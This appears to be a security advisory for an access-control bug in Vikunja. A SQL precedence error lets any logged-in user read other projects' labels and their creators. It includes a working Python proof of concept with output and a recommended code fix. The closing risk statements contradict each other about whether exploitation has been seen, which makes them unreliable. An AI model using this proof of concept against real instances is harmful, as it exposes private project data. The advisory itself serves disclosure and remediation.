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GHSA-hj5c-mhh2-g7jq
No affected components available
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}") # labeler
Output:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler
Label IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)
Found and reported by aisafe.io
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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